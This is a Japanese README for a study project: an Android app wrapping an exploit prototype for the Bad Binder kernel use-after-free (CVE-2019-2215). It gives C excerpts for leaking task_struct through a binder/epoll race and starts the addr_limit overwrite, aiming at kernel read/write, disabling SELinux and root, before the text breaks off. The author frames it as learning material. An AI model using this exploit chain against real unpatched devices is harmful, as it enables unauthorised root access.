
CVE-2019-2215 (Bad Binder) の Android Q 向けデモ
このリポジトリは、脆弱性 CVE-2019-2215 (Bad Binder) を調査し、Kotlin/Jetpack Compose によるシンプルな GUI を備えた Android 向けの動作するエクスプロイトプロトタイプを作成するための小さなテストプロジェクトです。
README では以下の内容を扱います。
リポジトリには GitHub Actions のワークフローが設定されており、push または PR のたびに ./gradlew assembleDebug でプロジェクトをビルドし、生成された badbinder-debug.apk をアーティファクトとして公開します。
ダウンロード方法:
badbinder-debug-apk アーカイブを取得する。これにより、ローカル環境を構築しなくてもアプリケーションをテストできるようになっています。
CVE-2019-2215 は、Android カーネルの Binder IPC サブシステムにおける Use-After-Free (UAF) 脆弱性です。
簡略化すると:
struct binder_thread という構造体があり、Binder 呼び出しを実行するスレッドを記述します。waitqueue) のリストに残り続けます。remove_wait_queue で解放済みのメモリに対して操作を試みるため、古典的な UAF シナリオが発生します。より詳細な理論的解説は、以下の資料を参考にしています。
課題の指示に従い、Android 10.0 (Q) x86_64 のイメージを使用した AVD を推奨します。 私が行った手順:
/dev/binder デバイスが存在することを確認。adb shell
ls -l /dev/binder
この段階で、厄介な事実に直面しました。 現時点では、最新の AVD イメージは既にパッチが適用されたカーネルを搭載しており、CVE-2019-2215 は修正されています。そのため、最新の公式エミュレーターで実際に root を取得することはできません。エクスプロイトは後半の段階で失敗するか、権限昇格が行われません。
結局、AVD をエクスプロイトのロジックを再現するための トレーニング環境 として使用しています。
addr_limit の上書きを観察し、これは重要な点です。以下のコードとレポートはすべて 学習用であり、「実戦用」ではありません。
小さな Android アプリケーションを作成しました。
主な手順:
Android Studio で通常のプロジェクトを作成 (Kotlin、最小 SDK は Android 10)。
NDK と CMake を統合。
エクスプロイトを含むネイティブファイル (cve-2019-2215.c、leak_task_struct、overwrite_addr_limit などの関数を含む) を追加。
CMakeLists.txt に libcve-2019-2215.so のビルドを追加。
MainActivity 内:
init {
System.loadLibrary("cve-2019-2215")
}
external fun runNativeExploit(): String
external fun setNativeLogger(logger: NativeLogger)
Kotlin 側で ExploitViewModel を作成し、NativeLogger インターフェースを実装、すべてのメッセージを StateFlow<List<String>> に格納。UI はこのフローを購読し、「ターミナル」にログを表示。
アクティビティ起動時に setNativeLogger(viewModel) を呼び出し、ネイティブコードが文字列を送信できるオブジェクトを取得します。
アプリケーションをビルドしてインストール:
./gradlew installDebug
AVD とアプリケーションを起動。
画面上に「ターミナル」と RUN EXPLOIT ボタンが表示される。
ボタンを押すと:
runNativeExploit() を呼び出す。実際の脆弱なカーネルでは、最後に次のような出力を期待します。
[+] Selinux changed: Permissive now.
[+] Root escalation successful!
uid=0(root)...
最新の Android 10 エミュレーターでは当然これは起こりませんが、それ以外の部分(task_struct の漏洩、addr_limit の上書き試行、cred や kernel_base の計算)は「シナリオ」として動作し、課題の要件を満たしています。
以下は、具体的な C 関数に対応させたエクスプロイトの論理スキームです。
大まかな計画は次の通りです。
struct binder_thread オブジェクトに対する UAF を発生させ、それを利用して自プロセスの task_struct のアドレスを漏洩させる (leak_task_struct)。task_struct 内の addr_limit フィールドを上書きする (overwrite_addr_limit)。これにより、ユーザー空間とカーネル空間のアドレス間の制限が解除され、後の copy_to_user / copy_from_user が可能になる。arb_read / arb_write) を実現する。cred とカーネルベースアドレスを見つけ (verifying)、その後:
selinux_enforcing = 0)、cred のフィールドを上書きして root になり、完全なケーパビリティセットを取得する (runNativeExploit)。並行して JNI ロガー を統合し、これらの全段階が UI で確認できるようにしました。
task_struct アドレスの漏洩 (leak_task_struct)主要関数:
void leak_task_struct() {
android_log("[*] Starting leak_task_struct...");
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
ret = sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
assert(ret >= 0);
...
}
関数の動作:
スレッドを CPU 0 に固定 (sched_setaffinity) し、カーネルアロケータの動作をより予測可能にします。これにより UAF 悪用の安定性が向上します。
/dev/binder を開き、epoll ディスクリプタを作成:
fd = open("/dev/binder", O_RDONLY);
epfd = epoll_create(1000);
Binder ディスクリプタを epoll に登録:
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &event);
struct iovec iov_buffers[IOVEC_N] 配列 を準備し、メモリを割り当て:
spinner = mmap((void *)0x100000000, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
ここで、アドレスの下位 32 ビットが 0 であることが重要:
if (((long) spinner & 0xffffffff) != 0) {
android_log("[!] mmap returned wrong address!");
return;
}
これは悪用に関する記事の手法に対応しています。カーネルはデータの一部をポインタを含む構造体として解釈するため、このような「綺麗に整列した」アドレスの方が悪用しやすくなります。
次に、iov_buffers[0xa] と iov_buffers[0xb] のフィールドを、UAF の瞬間にカーネルが task_struct へのポインタを含むメモリの断片をパイプにコピーするように設定します。
パイプを作成し、バッファサイズを 0x1000 に設定:
int pipe_fd[2];
ret = pipe(pipe_fd);
fcntl(pipe_fd[1], F_SETPIPE_SZ, 0x1000);
fcntl(pipe_fd[0], F_SETPIPE_SZ, 0x1000);
次に、古典的な UAF レース を行います。子プロセスをフォーク:
if (!fork()) {
android_log("\t[C] Long sleep to ensure accuracy...");
sleep(1);
android_log("\t[*] Triggering UAF");
epoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);
android_log("\t[C] Removing useless data from pipe...");
ret = read(pipe_fd[0], buf, 0x1000);
...
_exit(0);
}
epoll_ctl(..., EPOLL_CTL_DEL, ...) により、カーネル内の関連する binder_thread が解放されますが、この構造体は依然として待機アカウンティング構造に存在します — これが UAF の箇所です。親プロセスで以下を実行:
ioctl(fd, BINDER_THREAD_EXIT, NULL); // binder_thread の解放
ret = writev(pipe_fd[1], iov_buffers, IOVEC_N);
この段階で、UAF により writev は解放済みメモリを iovec 構造体として使用し、以前 binder_thread が置かれていた同じメモリ領域を、ポインタ/長さのセットとして再解釈します。副次的な効果として、カーネルメモリの断片がパイプにコピーされます。
最後に、パイプから読み取り:
read(pipe_fd[0], buf, 0x1000);
task_struct = *(unsigned long *)(buf + 0xe8);
android_log_hex("[+] task_struct found", task_struct);
オフセット 0xe8 は特定のカーネルバージョンに合わせて調整されています。これは、漏洩したメモリブロック内で自プロセスの task_struct へのポインタが存在する場所です。
結果: カーネル内の task_struct のアドレス が得られました。これは後続のステップに不可欠です。
addr_limit の上書き (overwrite_addr_limit)task_struct 内の addr_limit は、プロセスがシステムコールにユーザー空間ポインタとして渡すことができるアドレス範囲 を定義します。これをほぼ最大値に書き換えると、カーネルはユーザー空間アドレスとカーネルアドレス空間のアドレスを区別できなくなり、一見安全な copy_(to|from)_user 操作がカーネルの任意読み書きに変わります。
関数:
void overwrite_addr_limit() {
android_log("[*] Starting overwrite_addr_limit...");
...
}
は非常に似たパターンで動作します。
再度 CPU アフィニティを固定し、/dev/binder を開き、epoll を作成。
iov_buffers を準備するが、今度は異なるスキーム:
iov_buffers[0xa].iov_base = spinner;
iov_buffers[0xa].iov_len = 0x1;
iov_buffers[0xb].iov_base = read_buffer0;
iov_buffers[0xb].iov_len = 0x8 * 5;
iov_buffers[0xc].iov_base = read_buffer0;
iov_buffers[0xc].iov_len = 0x8;
パイプの代わりに socketpair(AF_UNIX, SOCK_STREAM, ...) を使用:
int socket[2];
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, socket);
write(socket[1], "A", 1);
recvmsg 用の msghdr 構造体を準備:
struct msghdr msg;
msg.msg_iov = iov_buffers;
msg.msg_iovlen = IOVEC_N;
...
子プロセス (fork() 後) で再び UAF レースを起動: